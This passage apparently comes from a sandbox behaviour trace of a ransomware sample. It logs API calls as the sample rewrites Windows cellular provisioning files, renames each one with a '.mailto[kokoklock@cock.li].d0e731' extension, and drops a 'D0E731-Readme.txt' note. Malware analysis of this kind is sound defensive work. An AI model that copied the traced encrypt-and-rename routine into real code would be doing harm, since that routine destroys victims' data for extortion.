out: Seed=0x2f1bfdf0) returned 0xb167f3ea [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xcf50abc3 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xcfd3f525 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xa8f5574b [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xe5f9d7c0 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x466f59dd [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x2c960b49 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xb0fbb521 [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xe0b48e7c [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0xa3d1a84c [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x8fab99ea [0087.319] RtlRandom (in: Seed=0x2f1bfdf0 | out: Seed=0x2f1bfdf0) returned 0x9c028582 [0087.330] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2df, lpNumberOfBytesRead=0x2f1bfde4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f1bfde4*=0x2df, lpOverlapped=0x0) returned 1 [0087.330] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1bfdac | out: lpNewFilePointer=0x0) returned 1 [0087.330] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2df, lpNumberOfBytesWritten=0x2f1bfde0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f1bfde0*=0x2df, lpOverlapped=0x0) returned 1 [0087.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc188 [0087.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc188*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f1bfddc, lpOverlapped=0x0 | out: lpBuffer=0x55dc188*, lpNumberOfBytesWritten=0x2f1bfddc*=0x20, lpOverlapped=0x0) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc188) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x55dc160*, lpNumberOfBytesWritten=0x2f1bfe08*=0x8, lpOverlapped=0x0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f1bfe20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x2f1bfe20*, lpNumberOfBytesWritten=0x2f1bfe08*=0x4, lpOverlapped=0x0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f1bfe08*=0x4, lpOverlapped=0x0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f1bfe08*=0x6c, lpOverlapped=0x0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f1bfe08*=0x20, lpOverlapped=0x0) returned 1 [0087.331] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f1bfe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f1bfe08*=0x4, lpOverlapped=0x0) returned 1 [0087.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc160) returned 1 [0087.332] CloseHandle (hObject=0x3d0) returned 1 [0087.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x33fc9c8 [0087.332] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" [0087.332] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.332] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.333] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.333] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.333] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.333] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.334] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0087.334] RtlExitUserThread (Status=0x1) Thread: id = 1355 os_tid = 0x1120 [0087.336] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0087.337] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0087.337] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.337] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f23fa80 | out: lpFileSize=0x2f23fa80*=480) returned 1 [0087.337] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.337] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f23fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f23fa54*, lpNumberOfBytesRead=0x2f23fa50*=0x4, lpOverlapped=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc160 [0087.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc188 [0087.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.339] NtQuerySystemTime (in: CurrentTime=0x2f23fa2c | out: CurrentTime=0x2f23fa2c*=132121176452266636) returned 0x0 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xf546dcec [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xed4494f [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xca84e853 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xd7b39ba7 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xa4df5dbd [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xd247cb1 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x174c9d16 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x45b83db1 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x27730295 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x2b8f0572 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x680455c8 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xf6c205eb [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xc3141347 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x57ca7d31 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x9cdba931 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xb8e079d9 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x8f9e768 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xbc674078 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x4d4bfd62 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x7a327cbe [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xb77e131d [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xcfd9eeff [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xe37d8fae [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xe32fd1f [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xee347b9f [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x1b6093a7 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x5bf508fc [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0xd072e9c6 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x2a8d663b [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x61f191fa [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x146cfce4 [0087.339] RtlRandom (in: Seed=0x2f23fa38 | out: Seed=0x2f23fa38) returned 0x26cf0cba [0087.350] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x2f23fa2c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f23fa2c*=0x1e0, lpOverlapped=0x0) returned 1 [0087.350] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f23f9f4 | out: lpNewFilePointer=0x0) returned 1 [0087.350] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2f23fa28, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f23fa28*=0x1e0, lpOverlapped=0x0) returned 1 [0087.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc160 [0087.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1d8 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1d8) returned 1 [0087.350] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f23fa24, lpOverlapped=0x0 | out: lpBuffer=0x55dc160*, lpNumberOfBytesWritten=0x2f23fa24*=0x20, lpOverlapped=0x0) returned 1 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc160) returned 1 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0087.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0087.350] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc1b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x55dc1b0*, lpNumberOfBytesWritten=0x2f23fa50*=0x8, lpOverlapped=0x0) returned 1 [0087.350] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f23fa68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f23fa68*, lpNumberOfBytesWritten=0x2f23fa50*=0x4, lpOverlapped=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f23fa50*=0x4, lpOverlapped=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f23fa50*=0x6c, lpOverlapped=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc188*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x55dc188*, lpNumberOfBytesWritten=0x2f23fa50*=0x20, lpOverlapped=0x0) returned 1 [0087.351] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f23fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f23fa50*=0x4, lpOverlapped=0x0) returned 1 [0087.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc188) returned 1 [0087.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.352] CloseHandle (hObject=0x3d0) returned 1 [0087.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0087.352] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0087.352] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0087.352] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0087.353] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0087.353] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.353] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.353] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0087.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0087.353] RtlExitUserThread (Status=0x1) Thread: id = 1356 os_tid = 0x1124 [0087.354] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.354] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.355] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.355] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f2bfbd8 | out: lpFileSize=0x2f2bfbd8*=851) returned 1 [0087.355] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x34f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.355] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f2bfbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x2f2bfbac*, lpNumberOfBytesRead=0x2f2bfba8*=0x4, lpOverlapped=0x0) returned 1 [0087.356] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc160 [0087.356] NtQuerySystemTime (in: CurrentTime=0x2f2bfb84 | out: CurrentTime=0x2f2bfb84*=132121176452422774) returned 0x0 [0087.356] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xc7de0672 [0087.356] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xb23a7b4a [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xaff9a377 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xdb5f161e [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xfd6e3c1 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xe304f185 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x5009dce6 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x62f22e25 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x70e49a7d [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xe950dab [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xc25097bf [0087.357] RtlRandom 